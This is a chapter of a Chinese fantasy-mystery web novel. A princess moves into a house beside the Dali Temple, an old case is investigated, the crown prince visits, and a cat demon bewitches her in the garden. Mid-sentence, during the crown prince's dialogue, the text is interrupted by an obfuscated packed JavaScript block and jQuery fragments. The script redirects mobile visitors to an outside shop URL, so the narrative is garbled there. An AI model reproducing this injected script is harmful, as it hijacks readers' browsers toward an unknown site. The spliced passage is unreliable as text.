李青簌和姜颂在客栈休息了一晚,第二天一早便启程回了长安。
要查这桩旧案,光靠他们两个是不够的,还是得让大理寺的人去查。
回了长安,她不用戴着碍事的帷帽,换上了一身桃红色齐胸襦裙,外披一件薄纱大袖衫,披帛自肩垂至臂弯,小臂配两只镶金白玉臂环,头戴一只由珍禽羽毛所制的翠羽簪和珍珠步摇,走动时摇曳生姿。(1)
永乐公主还一掷千金,直接在大理寺旁边买了一处宅院,邀请一同捉妖的几人全都住进来。
“小师妹,你这是不是有点太破费了。”谢嘉运心痛得在滴血。
长安的宅子有多贵就不说了,这还是在大理寺和朱雀门旁边的布政坊,就算把他卖了可能都交不起这宅子的月供。
南宫雪也道:“就是,我们每日住在客栈也就几两银子,过几日处理完山神庙和猫妖的案子,我们就该走了,你现在把它买下来,岂不是浪费了?”
“浪费什么?就是因为我们几个人的住处离得太远,沟通不畅,所以破案的效率才不高。这旁边就是大理寺,如果他们查到什么,我们也能第一时间知道。”
姜颂也换上了一件水蓝色半臂对襟圆领袍,内搭白色短襦,抱着手臂靠在廊柱上。他觉得披着头发行事多有不便,就用发带束起了高马尾。虽然他在长安有自己的宅院,但能和南宫雪离得近些,他倒是喜闻乐见。(2)
所以他这次罕见地没有出言嘲讽,而是静观其变。
李青簌说得没错,这里的确方便他们往大理寺跑。这会儿就有一名狱丞走了进来,见到李青簌后叉手行礼,说道:“公主殿下,裴少卿说找到了那几名仆妇和稳婆的踪迹,已经让人带回了大理寺,想请你们一起去听一听。”
李青簌点头道:“好,我们马上就过去。”
她随即笑着看向南宫雪:“师姐你看,是不是方便了许多。”
南宫雪无奈地摇头一笑,调侃道:“差点都忘了,我们师妹特别有钱。既然这样,那我们就不客气了。这样豪华的宅院,我还没住过呢。”
“师姐跟我客气什么?快走吧,再晚一点裴大人该等急了。”
说着,她拉着南宫雪就往外走。
她和师姐说了一路的话,中途南宫雪和谢嘉运聊了一会儿,落在了她和姜颂身后。
姜颂忽然冒出一句:“你在急什么?”
还怕裴大人等急了。从来没见她对他这么有礼貌。
李青簌觉得他莫名其妙,动不动就找茬,她好端端地走着路,又没有惹他。
“姜公子,你又发什么疯?”
她也回敬道。
“发疯?我的确是疯了。”
他就是疯了才会计较这些。
他加快了脚步,恨不得离她八丈远。过了一会儿,他没忍住转过头,就看见李青簌和南宫雪聊得火热,丝毫不在意他是不是走了。
他悻悻地冷笑两声。
好在大理寺离得不远,再多走两步就到了。
进了厅堂,裴渡朝李青簌行了礼,“殿下。”
她伸手扶住他的手臂,说道:“裴大人,我说过许多次了,不必计较繁文缛节。”
但裴渡执意如此。
李青簌索性随他去了,他出自名门望族,从小就被教导循规蹈矩,礼数周全严谨些也不奇怪。
“贺家的那些仆妇呢?”她问。
“正在审。”裴渡答道。随后他示意狱丞把人押上来。
等人来了一看,发现她们全都穿金戴银的,想是已经过上了主人的生活。
这就有些蹊跷了,若是一个两个遇到机缘发达了还说得通,可如果几人离开贺家后全都变得富裕起来,那只能归结于天上掉馅饼了。
而这馅饼,恐怕就是贺家的家产。
但是到了这种时候,她们却还在嘴硬。
“我们真的什么都不知道。十五年前的事都过去那么久了,早就记不清了。而且那时候官府也找过我们,案宗里应该还有我们的供词,大人何不自己去看?”其中一名仆妇说道。
裴渡道:“你们也知道自己的供词被记录在案,如果官府发现那供词是假的,你们就是杀头之罪,一个也逃不掉。”
这下几人慌了神,面露犹疑之色,但很快又恢复了冷静。
“正因为如此,我们更不可能作假。”
眼看着她们油盐不进,又不能随意用刑,只好先把几人拉了下去。
姜颂道:“这几人看着没有表面上那么团结,方才说话的那个仆妇头上戴的簪子是金的,而旁边几人的首饰明显要略逊一筹,很可能是分赃不均。”
李青簌眼前一亮,“所以,我们应该逐个击破。”
南宫雪问:“不是还有一个稳婆吗?”
裴渡答道:“我们查过了,此事的确跟稳婆没有关系,沈宜春女儿难产的时候,她的确是在贺府接生,根本不知道外面的事。”
谢嘉运:“也就是说,贺家那个恰巧同一天生产的远房表亲,不是贺家随口胡诌的?”
裴渡:“不是。但她也说,那位表亲是早产,她当时也觉得奇怪,平日里附近的人家都是算好了日子请她过去,偏偏那天贺家毫无预兆地上门去请。”
“但此事未必跟小蝶的死有关系,还要等仵作验尸后的结果。”
南宫雪分析道:“如果不把此事理清楚,沈宜春怕是不会说实话。想知道此案的真相就更难了。”
“南宫姑娘此言有理。”
姜颂笑着说道。
李青簌看在眼里,内心呵呵两声。姜颂只要一看到师姐,就跟开了屏的花孔雀似的,真想把她头上这只翠羽簪插在他头上。
裴渡:“剩下的事就交给我们吧,大理寺有的是办法让那几个仆妇开口。另外,那三名绣娘所属的绣坊恐怕也有蹊跷,还要劳烦各位继续查探。”
这案子的复杂程度史无前例,那晚在山神庙的几个人似乎都有自己不可告人的秘密,让人分不清他们说的到底是真话还是假话。
-
李青簌在新宅院住下的当晚,太子李昀不知道从哪得来的消息,带着几名侍从就赶了过来。
“阿兄,你怎么来了?”李青簌问道。
“我来瞧瞧你的新宅院,你一说不住在皇宫,宫里的人恨不得敲锣打鼓欢送你呢。”
“阿兄,你是想说你自己吧。这么晚了特地跑来,就是专门为了挖苦我?”
院中有一方莲池,他在池边连廊的石桌旁坐下,身边的侍从给他倒了一杯热茶。
李昀拿起茶杯把玩,笑道:“不止我自己,父皇和母后也是这么想的,只是当着你的面不敢说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686613|207832||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
罢了。”
李青簌“哼”了一声,“他们不敢说,你就敢说了。”
李昀瞬间坐直了些:“停。你的那些招数我见识过了,千万别往我身上使。”
李青簌在旁边坐下,说道:“说吧,阿兄到底来这干嘛?”
李昀迟疑片刻说道:“你这院子这么大,腾出一间来给我住应该不成问题吧。”
“你放着好好的东宫不住,跟我们挤在一起做什么?你要是不回去,太傅和你的那些僚属不得把我给骂死,阿耶也不会同意的。”
李昀伸出手指捂住额头,说道:“不让他们发现就好了,你就让人准备着,我说不准什么时候来。这些人追我追得太紧了,连一丝喘息之机都不给,整日里不是催我的功课就是盯着我习武,我实在是头疼得很。你要是心疼你阿兄,就给我留一间。何况那些人骂你骂得还少么,你应该早就习惯了才是。”
李青簌拿他没办法,只好应了,吩咐桃红和柳绿再收拾一间房出来给他。
“若是事情败露了,我可不会帮你瞒着,到时候你就自求多福吧。”
她说着准备回自己的房间。
半路看见姜颂坐在她的鱼塘旁边,手里抛着石头砸她的鱼。
“姜颂!”她生气地喊道:“这些鱼我养了很久的。”
她走到他身边盯着他,只要看到他去捡石头就去跟他抢。
“你闲来无事就去睡觉,祸害我的鱼做什么?”
姜颂道:“怕什么,又死不了。”
就是因为是李青簌养的鱼,他才有时间陪它们玩。
“闲来无事”的姜颂又问:“你说这池子里这么多鱼,你最喜欢哪一条?”
“我自己养的,肯定都喜欢。”
“这样啊。”姜颂喃喃。
话音刚落,池塘里的水就炸开了。鱼全都蹦了出来,虽然没死,但是被这么一折腾,都没力气游来游去了。
李青簌瞪大了眼睛。
姜颂绝对是脑子有病。
而且病得不轻。
她手上捏了一个决,溅起来的水就全泼在了他身上。她自己的衣服连半点水珠也没沾上。
“我看你是最近修炼急火攻心了,帮你冷静冷静。”
姜颂抹了一把脸,正欲发作,忽然脸色一变,“不好,有妖气。”
李青簌闻言抬起头,就看见一只长毛白猫趴在房顶上,一双金瞳犀利且贪婪地盯着她看。
看来根本不需要花车巡游,猫妖就已经盯上她了。
与它对视的那一瞬间,她的视线就逐渐变得模糊,再然后就什么也看不见了。
一团诡异的黑气朝她袭来,她觉得自己仿佛陷入了一片虚无之中,她失去了对周围一切事物的感知。
她像是提线木偶一样,不受控制地朝猫妖走去。
“好漂亮的眼睛……马上就是我的了。”
猫妖发出了尖锐的笑声。
姜颂伸手拉住她的手臂,试图拦住她。但不知道她哪来的力气,一把将他甩开,跌跌撞撞地走着。
姜颂一咬牙,暗骂了一声,跑上前将她紧紧抱住。
李青簌在他怀里拼命地挣扎,双眼变得空洞而没有焦点。
姜颂一手钳制她的双手压在身后,另一手拍打她的脸,喊道:“李青簌,阿簌,醒醒。”